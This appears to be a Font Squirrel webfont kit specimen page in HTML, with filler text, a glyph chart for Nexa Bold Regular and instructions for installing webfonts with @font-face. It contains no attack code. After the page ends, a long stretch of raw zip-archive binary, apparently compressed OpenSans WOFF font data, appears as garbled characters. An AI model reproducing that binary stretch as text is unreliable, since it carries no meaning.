						<p>Nullam quis risus eget urna mollis ornare vel eu leo. Nullam quis risus eget urna mollis ornare vel eu leo. Maecenas sed diam eget risus varius blandit sit amet non magna. Donec ullamcorper nulla non metus auctor fringilla. </p>

						<h3>Cras mattis consectetur</h3>

						<p>Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum. Aenean lacinia bibendum nulla sed consectetur. Integer posuere erat a ante venenatis dapibus posuere velit aliquet. Cras mattis consectetur purus sit amet fermentum. </p>

						<p>Nullam id dolor id nibh ultricies vehicula ut id elit. Nullam quis risus eget urna mollis ornare vel eu leo. Cras mattis consectetur purus sit amet fermentum.</p>
					</div>
					
					<div class="grid4 sidebar">
						
						<div class="box reverse">
							<p class="last">Nullam quis risus eget urna mollis ornare vel eu leo. Donec ullamcorper nulla non metus auctor fringilla. Cras mattis consectetur purus sit amet fermentum. Sed posuere consectetur est at lobortis. Lorem ipsum dolor sit amet, consectetur adipiscing elit. </p>
						</div>
						
						<p class="caption">Maecenas sed diam eget risus varius.</p>

						<p>Vestibulum id ligula porta felis euismod semper. Integer posuere erat a ante venenatis dapibus posuere velit aliquet. Vestibulum id ligula porta felis euismod semper. Sed posuere consectetur est at lobortis. Maecenas sed diam eget risus varius blandit sit amet non magna. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. </p>

					

						<p>Duis mollis, est non commodo luctus, nisi erat porttitor ligula, eget lacinia odio sem nec elit. Aenean lacinia bibendum nulla sed consectetur. Vivamus sagittis lacus vel augue laoreet rutrum faucibus dolor auctor. Aenean lacinia bibendum nulla sed consectetur. Nullam quis risus eget urna mollis ornare vel eu leo. </p>

						<p>Praesent commodo cursus magna, vel scelerisque nisl consectetur et. Donec ullamcorper nulla non metus auctor fringilla. Maecenas faucibus mollis interdum. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus. </p>

					</div>
				</div>
				
			</div>


			



		<div id="glyphs">
			<div class="section">
				<div class="grid12 firstcol">
			
				<h1>Language Support</h1>
				<p>The subset of Nexa Bold Regular in this kit supports the following languages:<br />
			
					Albanian, Danish, Dutch, English, Faroese, French, German, Icelandic, Italian, Malagasy, Norwegian, Portuguese, Spanish, Swedish				</p>
				<h1>Glyph Chart</h1>
				<p>The subset of Nexa Bold Regular in this kit includes all the glyphs listed below. Unicode entities are included above each glyph to help you insert individual characters into your layout.</p>
				<div id="glyph_chart">
			
																														 <div><p>&amp;#13;</p>&#13;</div>
																				 <div><p>&amp;#32;</p>&#32;</div>
																				 <div><p>&amp;#33;</p>&#33;</div>
																				 <div><p>&amp;#34;</p>&#34;</div>
																				 <div><p>&amp;#35;</p>&#35;</div>
																				 <div><p>&amp;#36;</p>&#36;</div>
																				 <div><p>&amp;#37;</p>&#37;</div>
																				 <div><p>&amp;#38;</p>&#38;</div>
																				 <div><p>&amp;#39;</p>&#39;</div>
																				 <div><p>&amp;#40;</p>&#40;</div>
																				 <div><p>&amp;#41;</p>&#41;</div>
																				 <div><p>&amp;#42;</p>&#42;</div>
																				 <div><p>&amp;#43;</p>&#43;</div>
																				 <div><p>&amp;#44;</p>&#44;</div>
																				 <div><p>&amp;#45;</p>&#45;</div>
																				 <div><p>&amp;#46;</p>&#46;</div>
																				 <div><p>&amp;#47;</p>&#47;</div>
																				 <div><p>&amp;#48;</p>&#48;</div>
																				 <div><p>&amp;#49;</p>&#49;</div>
																				 <div><p>&amp;#50;</p>&#50;</div>
																				 <div><p>&amp;#51;</p>&#51;</div>
																				 <div><p>&amp;#52;</p>&#52;</div>
																				 <div><p>&amp;#53;</p>&#53;</div>
																				 <div><p>&amp;#54;</p>&#54;</div>
																				 <div><p>&amp;#55;</p>&#55;</div>
																				 <div><p>&amp;#56;</p>&#56;</div>
																				 <div><p>&amp;#57;</p>&#57;</div>
																				 <div><p>&amp;#58;</p>&#58;</div>
																				 <div><p>&amp;#59;</p>&#59;</div>
																				 <div><p>&amp;#60;</p>&#60;</div>
																				 <div><p>&amp;#61;</p>&#61;</div>
																				 <div><p>&amp;#62;</p>&#62;</div>
																				 <div><p>&amp;#63;</p>&#63;</div>
																				 <div><p>&amp;#64;</p>&#64;</div>
																				 <div><p>&amp;#65;</p>&#65;</div>
																				 <div><p>&amp;#66;</p>&#66;</div>
																				 <div><p>&amp;#67;</p>&#67;</div>
																				 <div><p>&amp;#68;</p>&#68;</div>
																				 <div><p>&amp;#69;</p>&#69;</div>
																				 <div><p>&amp;#70;</p>&#70;</div>
																				 <div><p>&amp;#71;</p>&#71;</div>
																				 <div><p>&amp;#72;</p>&#72;</div>
																				 <div><p>&amp;#73;</p>&#73;</div>
																				 <div><p>&amp;#74;</p>&#74;</div>
																				 <div><p>&amp;#75;</p>&#75;</div>
																				 <div><p>&amp;#76;</p>&#76;</div>
																				 <div><p>&amp;#77;</p>&#77;</div>
																				 <div><p>&amp;#78;</p>&#78;</div>
																				 <div><p>&amp;#79;</p>&#79;</div>
																				 <div><p>&amp;#80;</p>&#80;</div>
																				 <div><p>&amp;#81;</p>&#81;</div>
																				 <div><p>&amp;#82;</p>&#82;</div>
																				 <div><p>&amp;#83;</p>&#83;</div>
																				 <div><p>&amp;#84;</p>&#84;</div>
																				 <div><p>&amp;#85;</p>&#85;</div>
																				 <div><p>&amp;#86;</p>&#86;</div>
																				 <div><p>&amp;#87;</p>&#87;</div>
																				 <div><p>&amp;#88;</p>&#88;</div>
																				 <div><p>&amp;#89;</p>&#89;</div>
																				 <div><p>&amp;#90;</p>&#90;</div>
																				 <div><p>&amp;#91;</p>&#91;</div>
																				 <div><p>&amp;#92;</p>&#92;</div>
																				 <div><p>&amp;#93;</p>&#93;</div>
																				 <div><p>&amp;#94;</p>&#94;</div>
																				 <div><p>&amp;#95;</p>&#95;</div>
																				 <div><p>&amp;#96;</p>&#96;</div>
																				 <div><p>&amp;#97;</p>&#97;</div>
																				 <div><p>&amp;#98;</p>&#98;</div>
																				 <div><p>&amp;#99;</p>&#99;</div>
																				 <div><p>&amp;#100;</p>&#100;</div>
																				 <div><p>&amp;#101;</p>&#101;</div>
																				 <div><p>&amp;#102;</p>&#102;</div>
																				 <div><p>&amp;#103;</p>&#103;</div>
																				 <div><p>&amp;#104;</p>&#104;</div>
																				 <div><p>&amp;#105;</p>&#105;</div>
																				 <div><p>&amp;#106;</p>&#106;</div>
																				 <div><p>&amp;#107;</p>&#107;</div>
																				 <div><p>&amp;#108;</p>&#108;</div>
																				 <div><p>&amp;#109;</p>&#109;</div>
																				 <div><p>&amp;#110;</p>&#110;</div>
																				 <div><p>&amp;#111;</p>&#111;</div>
																				 <div><p>&amp;#112;</p>&#112;</div>
																				 <div><p>&amp;#113;</p>&#113;</div>
																				 <div><p>&amp;#114;</p>&#114;</div>
																				 <div><p>&amp;#115;</p>&#115;</div>
																				 <div><p>&amp;#116;</p>&#116;</div>
																				 <div><p>&amp;#117;</p>&#117;</div>
																				 <div><p>&amp;#118;</p>&#118;</div>
																				 <div><p>&amp;#119;</p>&#119;</div>
																				 <div><p>&amp;#120;</p>&#120;</div>
																				 <div><p>&amp;#121;</p>&#121;</div>
																				 <div><p>&amp;#122;</p>&#122;</div>
																				 <div><p>&amp;#123;</p>&#123;</div>
																				 <div><p>&amp;#124;</p>&#124;</div>
																				 <div><p>&amp;#125;</p>&#125;</div>
																				 <div><p>&amp;#126;</p>&#126;</div>
																				 <div><p>&amp;#160;</p>&#160;</div>
																				 <div><p>&amp;#161;</p>&#161;</div>
																				 <div><p>&amp;#162;</p>&#162;</div>
																				 <div><p>&amp;#163;</p>&#163;</div>
																				 <div><p>&amp;#164;</p>&#164;</div>
																				 <div><p>&amp;#165;</p>&#165;</div>
																				 <div><p>&amp;#166;</p>&#166;</div>
																				 <div><p>&amp;#167;</p>&#167;</div>
																				 <div><p>&amp;#168;</p>&#168;</div>
																				 <div><p>&amp;#169;</p>&#169;</div>
																				 <div><p>&amp;#170;</p>&#170;</div>
																				 <div><p>&amp;#171;</p>&#171;</div>
																				 <div><p>&amp;#172;</p>&#172;</div>
																				 <div><p>&amp;#173;</p>&#173;</div>
																				 <div><p>&amp;#174;</p>&#174;</div>
																				 <div><p>&amp;#176;</p>&#176;</div>
																				 <div><p>&amp;#177;</p>&#177;</div>
																				 <div><p>&amp;#178;</p>&#178;</div>
																				 <div><p>&amp;#179;</p>&#179;</div>
																				 <div><p>&amp;#180;</p>&#180;</div>
																				 <div><p>&amp;#182;</p>&#182;</div>
																				 <div><p>&amp;#183;</p>&#183;</div>
																				 <div><p>&amp;#184;</p>&#184;</div>
																				 <div><p>&amp;#185;</p>&#185;</div>
																				 <div><p>&amp;#186;</p>&#186;</div>
																				 <div><p>&amp;#187;</p>&#187;</div>
																				 <div><p>&amp;#188;</p>&#188;</div>
																				 <div><p>&amp;#189;</p>&#189;</div>
																				 <div><p>&amp;#190;</p>&#190;</div>
																				 <div><p>&amp;#191;</p>&#191;</div>
																				 <div><p>&amp;#192;</p>&#192;</div>
																				 <div><p>&amp;#193;</p>&#193;</div>
																				 <div><p>&amp;#194;</p>&#194;</div>
																				 <div><p>&amp;#195;</p>&#195;</div>
																				 <div><p>&amp;#196;</p>&#196;</div>
																				 <div><p>&amp;#197;</p>&#197;</div>
																				 <div><p>&amp;#198;</p>&#198;</div>
																				 <div><p>&amp;#199;</p>&#199;</div>
																				 <div><p>&amp;#200;</p>&#200;</div>
																				 <div><p>&amp;#201;</p>&#201;</div>
																				 <div><p>&amp;#202;</p>&#202;</div>
																				 <div><p>&amp;#203;</p>&#203;</div>
																				 <div><p>&amp;#204;</p>&#204;</div>
																				 <div><p>&amp;#205;</p>&#205;</div>
																				 <div><p>&amp;#206;</p>&#206;</div>
																				 <div><p>&amp;#207;</p>&#207;</div>
																				 <div><p>&amp;#208;</p>&#208;</div>
																				 <div><p>&amp;#209;</p>&#209;</div>
																				 <div><p>&amp;#210;</p>&#210;</div>
																				 <div><p>&amp;#211;</p>&#211;</div>
																				 <div><p>&amp;#212;</p>&#212;</div>
																				 <div><p>&amp;#213;</p>&#213;</div>
																				 <div><p>&amp;#214;</p>&#214;</div>
																				 <div><p>&amp;#215;</p>&#215;</div>
																				 <div><p>&amp;#216;</p>&#216;</div>
																				 <div><p>&amp;#217;</p>&#217;</div>
																				 <div><p>&amp;#218;</p>&#218;</div>
																				 <div><p>&amp;#219;</p>&#219;</div>
																				 <div><p>&amp;#220;</p>&#220;</div>
																				 <div><p>&amp;#221;</p>&#221;</div>
																				 <div><p>&amp;#222;</p>&#222;</div>
																				 <div><p>&amp;#223;</p>&#223;</div>
																				 <div><p>&amp;#224;</p>&#224;</div>
																				 <div><p>&amp;#225;</p>&#225;</div>
																				 <div><p>&amp;#226;</p>&#226;</div>
																				 <div><p>&amp;#227;</p>&#227;</div>
																				 <div><p>&amp;#228;</p>&#228;</div>
																				 <div><p>&amp;#229;</p>&#229;</div>
																				 <div><p>&amp;#230;</p>&#230;</div>
																				 <div><p>&amp;#231;</p>&#231;</div>
																				 <div><p>&amp;#232;</p>&#232;</div>
																				 <div><p>&amp;#233;</p>&#233;</div>
																				 <div><p>&amp;#234;</p>&#234;</div>
																				 <div><p>&amp;#235;</p>&#235;</div>
																				 <div><p>&amp;#236;</p>&#236;</div>
																				 <div><p>&amp;#237;</p>&#237;</div>
																				 <div><p>&amp;#238;</p>&#238;</div>
																				 <div><p>&amp;#239;</p>&#239;</div>
																				 <div><p>&amp;#240;</p>&#240;</div>
																				 <div><p>&amp;#241;</p>&#241;</div>
																				 <div><p>&amp;#242;</p>&#242;</div>
																				 <div><p>&amp;#243;</p>&#243;</div>
																				 <div><p>&amp;#244;</p>&#244;</div>
																				 <div><p>&amp;#245;</p>&#245;</div>
																				 <div><p>&amp;#246;</p>&#246;</div>
																				 <div><p>&amp;#247;</p>&#247;</div>
																				 <div><p>&amp;#248;</p>&#248;</div>
																				 <div><p>&amp;#249;</p>&#249;</div>
																				 <div><p>&amp;#250;</p>&#250;</div>
																				 <div><p>&amp;#251;</p>&#251;</div>
																				 <div><p>&amp;#252;</p>&#252;</div>
																				 <div><p>&amp;#253;</p>&#253;</div>
																				 <div><p>&amp;#254;</p>&#254;</div>
																				 <div><p>&amp;#255;</p>&#255;</div>
																				 <div><p>&amp;#338;</p>&#338;</div>
																				 <div><p>&amp;#339;</p>&#339;</div>
																				 <div><p>&amp;#376;</p>&#376;</div>
																				 <div><p>&amp;#710;</p>&#710;</div>
																				 <div><p>&amp;#732;</p>&#732;</div>
																				 <div><p>&amp;#8192;</p>&#8192;</div>
																				 <div><p>&amp;#8193;</p>&#8193;</div>
																				 <div><p>&amp;#8194;</p>&#8194;</div>
																				 <div><p>&amp;#8195;</p>&#8195;</div>
																				 <div><p>&amp;#8196;</p>&#8196;</div>
																				 <div><p>&amp;#8197;</p>&#8197;</div>
																				 <div><p>&amp;#8198;</p>&#8198;</div>
																				 <div><p>&amp;#8199;</p>&#8199;</div>
																				 <div><p>&amp;#8200;</p>&#8200;</div>
																				 <div><p>&amp;#8201;</p>&#8201;</div>
																				 <div><p>&amp;#8202;</p>&#8202;</div>
																				 <div><p>&amp;#8208;</p>&#8208;</div>
																				 <div><p>&amp;#8209;</p>&#8209;</div>
																				 <div><p>&amp;#8210;</p>&#8210;</div>
																				 <div><p>&amp;#8211;</p>&#8211;</div>
																				 <div><p>&amp;#8212;</p>&#8212;</div>
																				 <div><p>&amp;#8216;</p>&#8216;</div>
																				 <div><p>&amp;#8217;</p>&#8217;</div>
																				 <div><p>&amp;#8218;</p>&#8218;</div>
																				 <div><p>&amp;#8220;</p>&#8220;</div>
																				 <div><p>&amp;#8221;</p>&#8221;</div>
																				 <div><p>&amp;#8222;</p>&#8222;</div>
																				 <div><p>&amp;#8226;</p>&#8226;</div>
																				 <div><p>&amp;#8230;</p>&#8230;</div>
																				 <div><p>&amp;#8239;</p>&#8239;</div>
																				 <div><p>&amp;#8249;</p>&#8249;</div>
																				 <div><p>&amp;#8250;</p>&#8250;</div>
																				 <div><p>&amp;#8287;</p>&#8287;</div>
																				 <div><p>&amp;#8364;</p>&#8364;</div>
																				 <div><p>&amp;#8482;</p>&#8482;</div>
																				 <div><p>&amp;#57344;</p>&#57344;</div>
																				 <div><p>&amp;#64257;</p>&#64257;</div>
																				 <div><p>&amp;#64258;</p>&#64258;</div>
																												</div>	
				</div>
		
		
			</div>
		</div>
		
		
		<div id="specs">
			
		</div>
	
		<div id="installing">
			<div class="section">
				<div class="grid7 firstcol">
					<h1>Installing Webfonts</h1>
					
					<p>Webfonts are supported by all major browser platforms but not all in the same way. There are currently four different font formats that must be included in order to target all browsers. This includes TTF, WOFF, EOT and SVG.</p>
					
					<h2>1. Upload your webfonts</h2>
					<p>You must upload your webfont kit to your website. They should be in or near the same directory as your CSS files.</p>
					
					<h2>2. Include the webfont stylesheet</h2>
					<p>A special CSS @font-face declaration helps the various browsers select the appropriate font it needs without causing you a bunch of headaches. Learn more about this syntax by reading the <a href="http://www.fontspring.com/blog/further-hardening-of-the-bulletproof-syntax">Fontspring blog post</a> about it. The code for it is as follows:</p>


<code>
@font-face{ 
	font-family: 'MyWebFont';
	src: url('WebFont.eot');
	src: url('WebFont.eot?#iefix') format('embedded-opentype'),
	     url('WebFont.woff') format('woff'),
	     url('WebFont.ttf') format('truetype'),
	     url('WebFont.svg#webfont') format('svg');
}
</code>

	<p>We've already gone ahead and generated the code for you. All you have to do is link to the stylesheet in your HTML, like this:</p>
	<code>&lt;link rel=&quot;stylesheet&quot; href=&quot;stylesheet.css&quot; type=&quot;text/css&quot; charset=&quot;utf-8&quot; /&gt;</code>

					<h2>3. Modify your own stylesheet</h2>
					<p>To take advantage of your new fonts, you must tell your stylesheet to use them. Look at the original @font-face declaration above and find the property called "font-family." The name linked there will be what you use to reference the font. Prepend that webfont name to the font stack in the "font-family" property, inside the selector you want to change. For example:</p>
<code>p { font-family: 'WebFont', Arial, sans-serif; }</code>

<h2>4. Test</h2>
<p>Getting webfonts to work cross-browser <em>can</em> be tricky. Use the information in the sidebar to help you if you find that fonts aren't loading in a particular browser.</p>
				</div>
				
				<div class="grid5 sidebar">
					<div class="box">
						<h2>Troubleshooting<br />Font-Face Problems</h2>
						<p>Having trouble getting your webfonts to load in your new website? Here are some tips to sort out what might be the problem.</p>

						<h3>Fonts not showing in any browser</h3>

						<p>This sounds like you need to work on the plumbing. You either did not upload the fonts to the correct directory, or you did not link the fonts properly in the CSS. If you've confirmed that all this is correct and you still have a problem, take a look at your .htaccess file and see if requests are getting intercepted.</p>

						<h3>Fonts not loading in iPhone or iPad</h3>

						<p>The most common problem here is that you are serving the fonts from an IIS server. IIS refuses to serve files that have unknown MIME types. If that is the case, you must set the MIME type for SVG to "image/svg+xml" in the server settings. Follow these instructions from Microsoft if you need help.</p>

						<h3>Fonts not loading in Firefox</h3>

						<p>The primary reason for this failure? You are still using a version Firefox older than 3.5. So upgrade already! If that isn't it, then you are very likely serving fonts from a different domain. Firefox requires that all font assets be served from the same domain. Lastly it is possible that you need to add WOFF to your list of MIME types (if you are serving via IIS.)</p>

						<h3>Fonts not loading in IE</h3>

						<p>Are you looking at Internet Explorer on an actual Windows machine or are you cheating by using a service like Adobe BrowserLab? Many of these screenshot services do not render @font-face for IE. Best to test it on a real machine.</p>

						<h3>Fonts not loading in IE9</h3>

						<p>IE9, like Firefox, requires that fonts be served from the same domain as the website. Make sure that is the case.</p>
					</div>
				</div>
			</div>
			
		</div>
	
	</div>
	<div id="footer">
		<p>&copy;2010-2011 Font Squirrel. All rights reserved.</p>
	</div>
</div>
</body>
</html>
PK!��X��W�W<bluetheme/assets/fonts/OpenSans/OpenSans-Italic-webfont.woffnu&1i�wOFFW��4FFTMl_��GDEF� OS/2�]`�E��cmap��\l�cvt �@@
�
�fpgm��e�/�gasp�glyf�I�tг,��headOD36�ܰ�hheaOx"$?�hmtxO�K���BIlocaQ����e̔maxpS�  nameS���%�A�postT���-�prepV��R�c]x�c```d����� �4۲(�>�x�c`d``�b	`b��I0�lx�c`faf�����:�՘��QB3_dHcb```�fccfeabby���ށA!(�������
�Y��0�p�2E(00�ɱx�nR@.N�
Fx�c```f�`Fx�1��,����%�P��ѐ1�����-�;
\
"
R
r
J
j
�
V
.
�
%
k�0�f���S�aPG\������T�%����?�����}�1�}��̓��<8���v=��`��=��L�%�K�kI�lpm�L@�	]0(XX��98��yx����ED��%$��ed����UT��54��ut��
��ML��-,��ml����]\��=<��}|����CB��#"��cb����;�'Ϙ�xђeK��\�j���6lܼu˶��޻��(%5�~�‚�eY�����˩aX��19�έ}���:���7�ܽyk'��O�?z��5C��{-=ͽ]�&�M��0e��ه��(d`8^��2���H��Ciu}��������������������x�x�]Q�N[A�
��� 9�����6H �.��vc9Bڍ\�b\�P Q��kh(S�M��$>�O���5��4;;�sΙ3Kʑ�wi��sH�n�f�~'��E���FF�#-63z�}���f4�N@y�[�CF�N��2?��>��<��f��Zg!=��|3ni�5�Yw�A_�:\
��T��T���\m�63�wp!"?�hj��@ӟ:�z>�b	r�l�
&��?�Dpa2]�T-3�vp��,:ؤJs��U����	��-�2KC���*1B�$�BN9w�?)P>��1o��θa��q�50�����fS�[�0~G��/ƒ>��6F�؎X
`��QU���s/���3%`y��_'�;6/em�c����6�e�ݪ\�E��wU5T��C/g��O��ᠱ���}�@�
�
���ލ��Zu�U��o5����x�Ž	xU�7^��z_R�gO:MB 
i��,!�&B@Dְd�%�!F���}DD��5���0�8��㨣�L��:q�!��[՝����~��ׇJ�v���s�=�w�=�4�2��7j���1�L�!L��k#!��N!��/2��x���"/H�����$�g��ؼ�l��{�ږ��l[�i�yX5�g�aX&�Ɨl><��L	��cE����2�OD}�6�����$_�26�d�AF�r6�hv�Qҳ8P�v9����� �#v�5��GI}�����F_R<pr/����}���w�+W�U��刚@ce����u�J��fy���=RH�8�CN=��!����B���ݟa4}��)L	2!7�,�JJ!|NHo2�}C�:K~����u�$�	;=�)�<�M���	���F	k
F�D�L��|IJ"b� �a^.[D�e^�Iz�q	�	��BD�|�8�d�	?˸�'�=��$���0��s���U�WxXؐ���6�Mp���� Ы�^�x�x�{��_�3S��I�>'
�N��3ǹ2��p1�
W����Qp�bY2��Q�ux�_���t^����RI�)c!�V7֒u
�Do�?�"i�|mc�|��a�H�S��X=SG���N>Z/�&���������k&��f��錘�xcD�)���pYZ�!_L-}~��L����/�/I�H85C�ϗR�H(5ߟ��3)��qD�O���E4�%��@aO��\�
/�
��ELDK�~	�@ꓥ{Z��린ՄM����X������I��J����Y�3|�g�t��k>(��G|Z����!x�u
�� Ӭ1[��Y]U^�23�1Y��,_Nכ�H�O�]�E�-Dl�`0(�좀��(���gqй=��\.��6N �����qX��ސ�;d�+C�k?z=�!��5�W�M�Y��[=z�q�b�y�vܻ�|��7�y����O��Đ�l}�<���yι���ʭ)�;�l0-�~Ȳfb�Lໆ9|�[�u�y�v&�)`z3ǘP�خ��z�#!�,��.Ui2���`$�v*�����������<���L��í_���6����O�1!(&�Bf;���T��CB�NH�\�hg�
'�.��[o�T#FRm�.9dt�+ڏ��$@8g���-��˲���x�خ�tx���KW��|t�U������~o�1�s��-c'����8v��G��V]1�����C�Ǟ-
��6�jW[*rn�ё;�|h�ն>���{eY��s���C�W��Ut��\����1��P"�8i�e���HހYL	����["u��.��nM��T�C������n�s�N��͝���Ȳٛ�ɝ���N�%9E����:R\���\�.n L	����A����M�݋;_�m��Q�]7������֬�Æ��i�?�b�7��ׇd�n�.�kԜ�d�Of�j�w�5�XV5���z��ߊr�c[��֗�C�U5lxŒ�#&����`M�����R��j���S��&�!DB�V-�bm���-�b�B�g&���	���heA9DI3��rv0��� �'��x�v"�;�2�[��g��6bdȍ��)�Ox�����"�<׌�e�|.��.`�	,�O~X�nۏ�5�U.[K�"D�Q~I~��u���2;��צ�"G����u�Gr���$��jrH//o:�H���"��ޗ��\o�/�$���+I*>���y��=���H�5�QP�2FC~�0xK8�B�%�-������t�6�o����bH�"�
P��k���H�F�j#۸���Wn�k�:�ir�	�
��;F4�94�Vƀ��)�(�1��􉜽$���f��~ѓ�w�y��'���|��%�/>C"���c�>�~0{��,�|�o"�_�
4(`�AS;��SB)�L���U,(v�==�O马�l�Z*��T�d�۱��~|��Ʒ�@��f&�)gBF�Ă)��H�	&�LEВ-��D��R�,�dD%� m��e�@&���b��h/`��+�d���?�⩣3.9�����Sb%��r����x���ϣ'�"G�'�"O��?̽���r�]�������$.��1��;[���zu`{9Ad[N�.k��U�Ѱ�סa�u톑�4:0!����t�u�a���0e�ON��>�f��»C�^�
:s+�T�^<4�.������:�WL�dDJ��h�]qG�44: _r
�/	�5	�F[Xg�:����RN�]�\U�qyu�rq��i����~���(^��yy?{(m;98ic��ۧ/
\�Wz|��%��~/��|�s��LdB����N¹9L`	M�Ih	q�yt�>O$,�t�sR��]@�$>W1�&�D|���v)#~:l!�'5���b�w>)Qn��չ���O��]��m\����/�^�����o��ٴ滃��s�G�S��[��أ��/�rl�g<��6�_��_Z׼r�`�aB�} �R�k2������Ig,x��K�T�K�����+�bD+Ȋ^���N��2r6X��r���*��k��X� =�y�ьw�x�5�I5�%�e�|x���v��)�q�o��Wod�ar�炲1z�t��������H!锶>
�d%�p�T��)�Cx�n�d�#MNC���D˛���$�Z��9����:�+�R���V�������XI�Ĺ��zf��Yw?��U��V�<x�K��u��0�-�	o�Ou�5_�&�,��spV�ѵ�-�A��c�P����\�P��3d2�r��"�tX���s���)Q+��5��֕�P�(b)e�\C�D�M2jpGuJ��Ì�	nVP2�`5�����:��I�@!`T_�J����Q�(0۰�7$��¡���~'6P��Ź{��������M�>���5S����ķݳ�-_�?r�[G�����Ͽٰo�k���,�:�(ï�i�n�^b��1ԲH�b�a�p�t�Ǵ���V�����Ɵ?
>h6�u�6=��LȃTK��y~���T��xr�H��;G���}�]���A�K�^K�96�KFΓ&��o��g��//�۫��ꢛX�Z��ȧd�k�N5���co<q�n�/���ѱG�k<T����.���CK�.~�L�����S�8텝�-�#�-Y�����{��X5}W߾ϲKF�)�yք�먼T���Uy�΄�������6dC�:3�'�@p���Xb��C�q*�����D��MD��A��Y�Z�n*�t��R����H@�TPTlY��}�~.3���܉��liz�����G�6����[6sW�u��$����{�ǘ����y����kk�]5a�cR�'�
~`7sW
�Ք��_4_j�Q���zPw�-*0HĠ88�6-�%8i��Ct�o�
�+O��v����{��N*���b$����1]1��dTgeG��dV>ށ�ƍS�+*^��<:S?-
��7��F��L+/��g1�"�2�Jnw�����SE>�)o�O�F�ՑS�����~����%��ƳԸ�@�uܞ���rj�&���Qٛq�URd �q+�H���ݺ�!Kv��**�n|���319�"�,Q�|�H|�+7�����VP�;~��g�]�~���9���6������;�G���������/#c��f�WJJ����W9�k5w�;��=�n�x�z��%�W̞:jG9���I=5#����~o�=��x���g�N�Ƞ�\xc�v��	|�ۘ1�
ߙRP3�R�����r%�t.�'�x�����X�:�����:����ľ-RZ�U1�%������ӻ/W�����6�)�O��4%Lw��J�T��'$�tP�`k��6��=(�A��������zy���s}Z��)I=V�q*&��e�K`��%.�/�!��SH���H�X^'έ�Y���_شd��x���e�Y#��`Z���d�[�}�|V��
巽rנ�e��O$W����i����ǃ'N�~�IyKb���5E�'�%y�Wr�|yl�����t'�CXς7q����x^+U���.n��b�����(PV���R��(P�������r�hl�j�h,O"z5R����y9��P��p�N	�¿�P�/Q�=]rQ���I~����0v0���[xZ[��'��(t&X�D�^JDS��K�	�h��F�D��·'Z_���)3DF%wU�$?��'!֑�W�8C<���!Iɓ�0�D���q���by3mQ�����l>�a9��[�Z~���31?���o3�<q�a38U���L�1�����֧�/]�e���ٰ�]7��Aw$2��(�$�e�a�I���`���7L�A�����,��t�H���>1�> 3�xkw�#�����_�ĂV�[6	E��ʍg�
���YpgF*|�s��	�0���bh&��Ka��	��K����w�>�����wP�sa��1";��&�A�Л(�d�Qr,q���ʫ�w8G
���� ���k�}m���|�S��Qn����Uf�l�4y��*�I�1Yu��Z#ѩ�t��*�� |�E]�W^�7�G�a�j�ګ�ٲ�e���b�ھ_�y5͏�{�����Te~��ڧ�����qzF�ilE�:˧[?Tf)����B�ƙ�jZtR�m�,`�̶���ھy�m+�����4f��+أ�f�	�=)<h�Ā��#�4D:�V�9C�֦�UtZ.���1$:�cH�����ӕ���1��2�&���ymS�u{t�]d�0�C���<����Bu�����o�^8�w�T�3/9������V ��:wݓUx^���k��%���o'�(�5K�\�Wq�No
��z-��pƨ>�=R�j&��&��R,ܲ�pI��^��ļ���tW�>J��L,X.��T�x�q#�sa�oW��7z�A��8wd���|���m�j�۶�~Ɗm��u�E4f�_����
(�:��>N�N��q~�},쳒��4����\G�mf�f�)x΢ɏ�!��z�zx�U}ޓ��)�B'���
 Z�*�^U�Ѥ��:�H��D	��͒Ok+��X�DG��#����{�;kWh��<Pn`b|ijC�^��:��E��FDk|*��u��Z�T��ܘ�=a�¢���\��A8���W�!XB��7��(�"�尹:ʰ�쩋m�d��!;����f϶����q2�um��:���
S�̑v�i�"�Dg�Sg�T�T�� 2- �"��I'4�j�#��Q��^��1�=��d~R>'��[��<Q�i�d.J2�#":U����H2E�D[�ɖ5W:ᨆ�	Z$�xUC#h��)R�W����ްz#H�S۝6<��k�q�<�B<��%8F%�@��L����1��w�r�-���{�K|ɤ�G|T�1��;
�vb�/[�P��-��^�/��i�6�o�
6�]~���i�!׆]�Udh�9�L`ꢶ%!*{:=RP�#2A@��0��քL�`��ң?��(��F�5l���`mGT�U3�E�@q	*	���4����.����=��]��J�~~��<��ӷ���RP߯�\����dB&�����+�GX����rI�Q�.+Rׄ�M��-���65ڠ�j(�:�2�$��|��
F�S����S�>ye�M��[��^��EH>����dާovN���z�u0KT�f�0G��D��A�0k#�z���]ҸۑH��DGW�	�`8
�84bjG#�<1^��u�.�A>!��~�ކ�>o���SW��N���څ
�僔�6&��C9]�\Q:�"�3��@g;8*�����&���(�_�ÿ���@�u�G�����?��&������ʇ���^2�U���I��*�7P��b����x'p�h�0"�����=��I��ωz���٩r@0��Ul�Hf#=6��v�-h���c��)#��[�?y�z��ç�_���,����3�V�S���G�Z9_��Jro|���0��P'��RWݍ�������zT�����8�aC�;
�!�v1�E'ź�mabvx�;����h.��ڡ���L'�t݈������ټ���/O~Jy������6g��"�/7�>�d��G,uב��|�S�+�k���;�?ce��4EO��5Q�o�����ܼ�P�t�\c���c�EZ<5�.9xs\j��(9��>N����Q��d�����̃�W��3]x��@zA�i�Қ��Q]�L���� %$�Kʆ�i���bRjI��Za�REo��HɁ��3R�c��!�u)��p�gK9_=�{�֣�w�p�B���O�#���[p�a��/��N^�-_m{_��)��T�G)�1��U�
$�`�e�ՉQ�6�N'�3"seMQ�à>A�unW��ߩ#Ӝ|���ׯ���>���-g��x�3����Ҙ�L(
��(�0�q��i��q�L�E0y�����
Ё�@)�6H=XC*�4�EЍI9�Xi�f�q���`�:u�\NXK��Hk��=�����^d]s[��zm���1����U�|��z��c�����a�[o��V��u�_�4�Q��zru��E��q:>̃b*�T�c�GϓWN�}H�M���=�v�
�
kc���(�7�3�L-`U�m@?� ��N���UP���Kc�	�[��[phZN�~�n�G.�c\��-�������l��ԑ0��n۸��r@�.���۾d����v�D�j�2p���(�$(�zj�+Q�^���=Ѷ(���|}��w����k�*�?ȧ��ʨ����Vc��:U�~��۫�(n��z輦�)��C}$�H-Y��|��L����?{7Q�c�]e����TfE�C���'n~��CZB?=�}��x���z��z�����C�-]W��vX�8��Em�l���\�R`m!uqk+a/�]_��/�I���|j�泍W�tmEl�jN3�(=)D�)�2[3~��Sԏ��[%��*Z�
q���4�rB7��c���w�nl���o�\t�a�o
z�h�1��
